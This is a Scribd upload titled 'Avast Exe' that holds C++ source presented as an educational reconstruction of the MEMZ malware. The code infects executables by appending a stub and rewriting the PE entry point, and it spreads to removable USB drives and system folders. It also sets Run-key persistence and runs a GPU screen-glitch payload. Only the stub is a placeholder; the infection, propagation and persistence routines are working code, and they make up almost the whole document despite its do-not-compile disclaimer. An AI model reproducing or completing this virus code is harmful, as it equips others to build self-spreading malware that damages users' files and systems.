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Avast Exe

This document is a fictional reconstruction of the MEMZ malware for educational purposes, detailing its structure and functionality. It includes methods for file infection, persistence, and a GPU glitch payload, while emphasizing that it should not be compiled or run. The code demonstrates how the malware infects executable files and monitors USB drives for further propagation.

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benmodhacker
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0% found this document useful (0 votes)
9 views4 pages

Avast Exe

This document is a fictional reconstruction of the MEMZ malware for educational purposes, detailing its structure and functionality. It includes methods for file infection, persistence, and a GPU glitch payload, while emphasizing that it should not be compiled or run. The code demonstrates how the malware infects executable files and monitors USB drives for further propagation.

Uploaded by

benmodhacker
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

// memz.

cpp - Fictional reconstruction of MEMZ malware for educational purposes


// WARNING: Do not compile or run. For analysis only.

#include <windows.h>
#include <d3d11.h>
#include <vector>
#include <fstream>
#include <string>
#include <thread>
#include <random>

// Constants
const char MARKER[] = "\xDE\xAD\xBE\xEF"; // Infection marker
const DWORD MARKER_SIZE = 4;
const char* TARGET_DIRS[] = {"C:\\Users\\*\\AppData\\Roaming\\", "C:\\Program
Files\\", nullptr};
const BYTE MEMZ_STUB[] = {0x90, 0xC3}; // Placeholder for stub (actual is ~10KB)

// Check if file is executable


bool IsExecutable(const char* filename) {
std::string name(filename);
return [Link]() > 4 && [Link]([Link]() - 4) == ".exe";
}

// Check if file is infected


bool IsInfected(const char* path) {
std::ifstream file(path, std::ios::binary);
if (!file) return false;
[Link](-MARKER_SIZE, std::ios::end);
char marker[MARKER_SIZE];
[Link](marker, MARKER_SIZE);
[Link]();
return memcmp(marker, MARKER, MARKER_SIZE) == 0;
}

// Infect a single file


void InfectFile(const char* path) {
if (IsInfected(path)) return;

// Read original file


std::ifstream src(path, std::ios::binary | std::ios::ate);
if (!src) return;
size_t size = [Link]();
[Link](0);
std::vector<char> original(size);
[Link]([Link](), size);
[Link]();

// Append stub and marker


std::ofstream dst(path, std::ios::binary);
[Link]([Link](), size);
[Link]((const char*)MEMZ_STUB, sizeof(MEMZ_STUB)); // Append stub
[Link](MARKER, MARKER_SIZE); // Append marker
[Link]();

// Patch PE header (simplified)


HANDLE hFile = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, nullptr,
OPEN_EXISTING, 0, nullptr);
if (hFile != INVALID_HANDLE_VALUE) {
// Modify entry point to stub (placeholder logic)
SetFilePointer(hFile, 0x3C, nullptr, FILE_BEGIN); // PE header offset
DWORD peOffset, bytesRead;
ReadFile(hFile, &peOffset, sizeof(DWORD), &bytesRead, nullptr);
SetFilePointer(hFile, peOffset + 0x28, nullptr, FILE_BEGIN); // Entry point
DWORD newEntry = size; // Point to stub
WriteFile(hFile, &newEntry, sizeof(DWORD), &bytesRead, nullptr);
CloseHandle(hFile);
}
}

// Infect all executables in a directory


void InfectDrive(const char* drive) {
std::string searchPath = std::string(drive) + "*.*";
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
if (hFind == INVALID_HANDLE_VALUE) return;

do {
if (!([Link] & FILE_ATTRIBUTE_DIRECTORY) &&
IsExecutable([Link])) {
std::string fullPath = std::string(drive) + [Link];
InfectFile(fullPath.c_str());
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}

// Monitor USB drives


void MonitorUSB() {
while (true) {
char drives[256];
GetLogicalDriveStringsA(sizeof(drives), drives);
for (char* drive = drives; *drive; drive += strlen(drive) + 1) {
if (GetDriveTypeA(drive) == DRIVE_REMOVABLE) {
InfectDrive(drive);
}
}
Sleep(1000); // Check every second
}
}

// GPU glitch payload


void GlitchPayload() {
// Initialize DirectX (simplified)
ID3D11Device* device = nullptr;
ID3D11DeviceContext* context = nullptr;
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr, 0, nullptr, 0,
D3D11_SDK_VERSION, &device, nullptr, &context);

if (!device || !context) return;

std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<UINT> dist(0, 0xFFFFFFFF);

while (true) {
// Create noise buffer
std::vector<UINT> noise(1920 * 1080); // Full HD buffer
for (auto& pixel : noise) pixel = dist(gen); // Random colors

// Create and update texture


D3D11_TEXTURE2D_DESC desc = {};
[Link] = 1920;
[Link] = 1080;
[Link] = 1;
[Link] = 1;
[Link] = DXGI_FORMAT_R8G8B8A8_UNORM;
[Link] = 1;
[Link] = D3D11_USAGE_DEFAULT;
[Link] = D3D11_BIND_SHADER_RESOURCE;

ID3D11Texture2D* texture;
device->CreateTexture2D(&desc, nullptr, &texture);
context->UpdateSubresource(texture, 0, nullptr, [Link](), 1920 * 4, 0);

// Render to screen (simplified)


ID3D11ShaderResourceView* srv;
device->CreateShaderResourceView(texture, nullptr, &srv);
context->PSSetShaderResources(0, 1, &srv);
context->Draw(3, 0); // Trigger draw (actual rendering omitted)

texture->Release();
srv->Release();
Sleep(16); // ~60 FPS
}

context->Release();
device->Release();
}

// Persistence via registry


void SetPersistence() {
HKEY hKey;
RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\
Run", &hKey);
char path[MAX_PATH];
GetModuleFileNameA(nullptr, path, MAX_PATH);
RegSetValueExA(hKey, "MEMZ", 0, REG_SZ, (BYTE*)path, strlen(path) + 1);
RegCloseKey(hKey);
}

// Main entry point


int APIENTRY WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
// Check if infected
char exePath[MAX_PATH];
GetModuleFileNameA(nullptr, exePath, MAX_PATH);
if (!IsInfected(exePath)) return 0;

// Run original program (simplified)


// Normally, jump to original entry point via PE header
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA(exePath, nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
&si, &pi);

// Set persistence
SetPersistence();
// Start infection thread
std::thread usbThread(MonitorUSB);
[Link]();

// Start payload thread


std::thread glitchThread(GlitchPayload);
[Link]();

// Propagate to system directories


for (int i = 0; TARGET_DIRS[i]; ++i) {
InfectDrive(TARGET_DIRS[i]);
}

return 0;
}

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